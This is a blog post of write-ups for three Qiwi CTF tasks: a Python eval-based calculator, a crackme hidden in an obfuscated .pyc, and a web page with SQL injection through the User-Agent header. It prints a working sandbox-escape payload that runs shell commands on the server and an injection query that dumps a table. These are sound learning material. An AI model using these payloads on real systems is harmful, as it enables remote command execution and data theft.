I really recommend looking a bit into it, it's a really great tool for not only ctfs but also shellcrafting etc., maybe I will write about it a bit more one day.
(I can't post the flags because servers are down and I didn't save them anywhere, you have to believe me that it worked)

Saturday, 19 November 2016

Qiwi ctf write-ups

Standard
I did participate in the qiwictf that was held on 17.11-18.11 but I had chance to play for one day only, here are some tasks that I've managed to solve.

PWN 100_4

Description:
My_first_calc… sorry... you can use it in 138.201.98.43:4000
After netcat-ing to the given address we can see calculator that allows us to make simplest arithmetic operations.

==================================================
===========Welcome to my first calculator=========
==================================================
example use:
>2+2*2
>exit

>0/0         
Wrong data!
>2+2
4
>3/0
Wrong data!
>[]*45
[]
>[7]*70     
[7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7]
>

After some fun with it you can see that it looks like it uses python's eval function to give us an answer
But we cannot import anything. There is some whitelisting going on, first thing I assumed that they just removed __builtins__. It came out to be true.
The simplest trick is to do something like:

>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("ls -la")
total 36
dr-xr-xr-x 3 user user 4096 Nov 18 12:40 .
drwxr-xr-x 3 root root 4096 Oct 28 16:37 ..
-rw------- 1 user user 1244 Nov 18 11:01 .bash_history
-r--r--r-- 1 user user  220 Oct 28 16:37 .bash_logout
-r--r--r-- 1 user user 3515 Oct 28 16:37 .bashrc
-r--r--r-- 1 root root   16 Nov 17 12:17 flag
-r--r--r-- 1 user user  675 Oct 28 16:37 .profile
drwxr-xr-x 2 user user 4096 Nov 18 12:40 .ssh
-r-xr-xr-x 1 user user  339 Nov 11 11:15 task
0
>[].__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').system("cat flag")
Uo5RbQxVbdWquqJ
0

Which gives us the flag and 100 points! To learn more about python sandbox, and tricks used to escape, I recommend Gynvael's post about this topic.

Reverse 100_2

Description:
I have a snake. CrackMe!
So we were supplied with a file "task.pyc". After running file command on it we can see it's a python2.7 .pyc.
I've used uncompyle2 to uncompile (surprise!) the file, output:

#Embedded file name: task.py
import marshal
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
code = marshal.loads(src)
exec code
+++ okay decompyling task.pyc

We can see some obfuscation going on, let's run the code and see what is does.

$ python task.pyc 
You pass:something
No :(
$ 

As we can see it needs a password to print the flag, that means the password(and flag) is probably hidden inside the code, let's uncompyle some more. Our src variable in code above is actually a code object, we can make a new .pyc out of that.

import py_compile, time
src = 'YwAAAAADAAAAGAAAAEMAAABz7wAAAGQBAGoAAGcAAGQCAGQDAGQEAGQFAGQGAGQHAGQIAGQJAGQKAGQLAGQMAGQNAGQOAGQPAGQMAGcPAERdHAB9AAB0AQB0AgB8AACDAQBkEAAXgwEAXgIAcToAgwEAfQEAdAMAZBEAgwEAfQIAfAIAfAEAawIAcuYAZAEAagAAZwAAZBIAZBMAZBQAZBUAZBYAZBcAZBgAZBkAZBoAZBsAZBwAZB0AZB4AZAsAZBwAZB8AZAMAZB0AZAgAZB4AZCAAZCEAZxYARF0VAH0AAHwAAGoEAGQiAIMBAF4CAHHGAIMBAEdIbgUAZCMAR0hkAABTKCQAAABOdAAAAAB0AQAAAF50AQAAADR0AQAAAEt0AQAAAGl0AQAAAC50AQAAAC90AQAAAE50AQAAAGp0AQAAAFB0AQAAAG90AQAAAD90AQAAAGx0AQAAADJ0AQAAAFRpAwAAAHMJAAAAWW91IHBhc3M6dAEAAABzdAEAAAB5dAEAAABudAEAAAB0dAEAAAA6dAEAAAB7dAEAAAB3dAEAAABxdAEAAABFdAEAAAA2dAEAAABmdAEAAABYdAEAAAB1dAEAAABhdAEAAAAxdAEAAAB9dAUAAABST1QxM3MFAAAATm8gOigoBQAAAHQEAAAAam9pbnQDAAAAY2hydAMAAABvcmR0CQAAAHJhd19pbnB1dHQGAAAAZGVjb2RlKAMAAAB0AQAAAGV0AwAAAHRtcHQGAAAAcGFzc3dkKAAAAAAoAAAAAHMHAAAAdGFzay5weVIcAAAAAgAAAHMKAAAAAAFfAQwBDAFvAQ=='.decode('base64')
with open("new.pyc", "wb+") as f:
    f.write(py_compile.MAGIC)
    py_compile.wr_long(f, long(time.time()))
    f.write(src)

This gives us correct .pyc that we can uncompile using uncompyle2 new.pyc

#Embedded file name: task.py
tmp = ''.join([ chr(ord(e) + 3) for e in ['^',
 '4',
 'K',
 'i',
 '.',
 '/',
 'N',
 'j',
 'P',
 'o',
 '?',
 'l',
 '2',
 'T',
 '?'] ])
passwd = raw_input('You pass:')
if passwd == tmp:
    print ''.join([ e.decode('ROT13') for e in ['s',
     'y',
     'n',
     't',
     ':',
     '{',
     'w',
     'q',
     'E',
     '6',
     'f',
     'X',
     'u',
     'o',
     'f',
     'a',
     '4',
     'X',
     'N',
     'u',
     '1',
     '}'] ])
else:
    print 'No :('
+++ okay decompyling new.pyc 

We just take the code that prints the flag and run it, giving us the flag:
flag:{jdR6sKhbsn4KAh1}

ponylog - Web 100 

Description:
HOW CAN HE DO THAAT? Web-page
 The site was counting how many times we visited it, the question is how does it do that, the first thing I've checked were cookies, but there were none of those. Next thing that popped into my mind was user-agent, and it turned out to be bull's eye. There was an sql incjection in the user-agent field.


But something was wrong, after few minutes and some tries I realized that our query was ROT13-ed first. Error was suggesting sqlite, so I've tried to pull out some info from sqlite_master database, where I found table name. Final query was
' union select ua from logs-- 
The result was huge, because every activity was logged(some people were using sqlmap which ended up filling the database with thousands of queries). I didn't really knew if flag is inside this table, and there was no flag format specified, so I just searched for 'flag' with hopes for the best.


I've tried what I found
FLAG_OMG_REALLY_SIMPLE_LOL,RIGHT?
And that was actually the flag.

I've managed to solve one or two more tasks in the time that I had for this ctf for which I will probably upload write-ups in the near future.